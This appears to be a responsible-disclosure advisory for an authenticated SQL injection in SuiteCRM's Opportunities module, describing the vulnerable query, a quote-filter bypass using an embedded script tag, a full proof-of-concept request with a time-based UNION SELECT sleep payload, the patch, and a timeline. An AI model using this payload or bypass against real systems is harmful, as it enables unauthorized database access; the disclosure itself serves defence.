TL;DR
Authenticated SQL injection affecting the Opportunities module of SuiteCRM for versions prior to 7.14.0
Details
At CrowdStrike, following claims from a threat actor to have hacked SuiteCRM at multiple entities using a SQL injection, I started a little audit of SuiteCRM to uncover whether the threat was realistic or not. Upon research, I stumbled on the modules/Opportunities/Save.php file, in which we can find the following code:
1
2
3
require_once('modules/Opportunities/OpportunityFormBase.php');
$opportunityForm = new OpportunityFormBase();
$opportunityForm->handleSave('',true,false);
The handleSave function may end up calling the clone_relationship function, using the duplicate_parent_id POST variable as 4th argument:

Within the clone_relationship function, a SQL query is created with this 4th argument, that could lead to SQL injection:
1
2
3
4
5
6
7
function clone_relationship(&$db, $tables, $from_column = null, $from_id = null, $to_id = null)
{
[...]
$query = "SELECT * FROM $table WHERE $from_column='$from_id'";
}
$results = $db->query($query);
[...]
At that point, several security measures prevent direct exploitation of this SQL injection:
- The
Save.phpfile cannot be accessed directly due to a.htaccessdirective setting up a403 unauthorized accesson modules directory. - The
Save.phprequires a valid “SugarEntry” entrypoint, that gets defined by going through theindex.phpendpoint with theaction=Saveandmodule=Opportunitiesparameters. However, doing so, thePOSTvariables are filtered (quote gets encoded) against basic SQL injection through the use of theclean_incoming_datafunction.
Yet, the clean_incoming_data function can be tricked into leaving quotes unencoded, as highlighted by this previous bounty report. Yet, the inner working of this bypass was not explained.
Typically, the clean_incoming_data function calls the inner securexss function on each $_POST value. This securexss function first encodes quotes and then calls the xss_clean function from Voku. This xss_clean function decodes all characters present in the input string to clean; in order to detect and strip all the javascript related words afterwards. In case a javascript payload is detected by the function, then the cleaned up (and so decoded) string is returned. In case there is no payload detected, then the original string is returned (the encoded one). By integrating <script> in the SQL payload, xss_clean decodes the string (transform back the encoded quote to a decoded one), detect the attack and remove the <script> tag before returning the string with the decoded quote.
Here is an example request showing SQL injection by triggering a 5 seconds sleep by SuiteCrm application:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /suitecrm/index.php HTTP/1.1
Host: <redacted>
Content-Length: 633
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: <redacted>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://<redacted>/suitecrm/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; Users_sp_tab=All; Opportunities_sp_tab=All; ck_login_language_20=en_us; ck_login_theme_20=SuiteP; sugar_user_theme=SuiteP; PHPSESSID=7t8i63rduuadi6vg2n5tsemrq9; ck_login_id_20=d1c6197a-c7cf-4d2f-6970-649c44bd341a
Connection: close
module=Opportunities&record=&duplicateSave=true&duplicate_parent_id=1</script>'%20UNION%20SELECT%20sleep(5),1,2,3,4,5%20--%20-&duplicateId=3005bd81-1904-8e56-d5f5-649d55cc7438&isDuplicate=false&action=Save&return_module=Opportunities&return_action=DetailView&return_id=&module_tab=&contact_role=&offset=1&name=test23&account_name=testaccount&account_id=9bf1efd4-30c2-9e99-067c-649d4e24e2bf¤cy_id=-99&date_closed=09%2F07%2F2023&amount=1%2C000%2C000.00&opportunity_type=&sales_stage=Prospecting&lead_source=&probability=10&campaign_name=&campaign_id=&next_step=&description=&assigned_user_name=gg+Administrator&assigned_user_id=1
Proposed patch
The following modifications were proposed to secure the vulnerability:
- Use
focus->db->quotein front of the$_POST['duplicate_parent_id']variable in theclone_relationshipcall to make sure quotes are escaped -> implemented (commit) - Modify the
securexssfunction to encode the string after thexss_cleanfunction call -> vendor argued testing was necessary before incorporating this change, which is understandable. Last time I checked it was not implemented.
Timeline
30 Jun 2023 : initial report 30 Jun 2023 : vendor confirmation 29 Aug 2023 : update available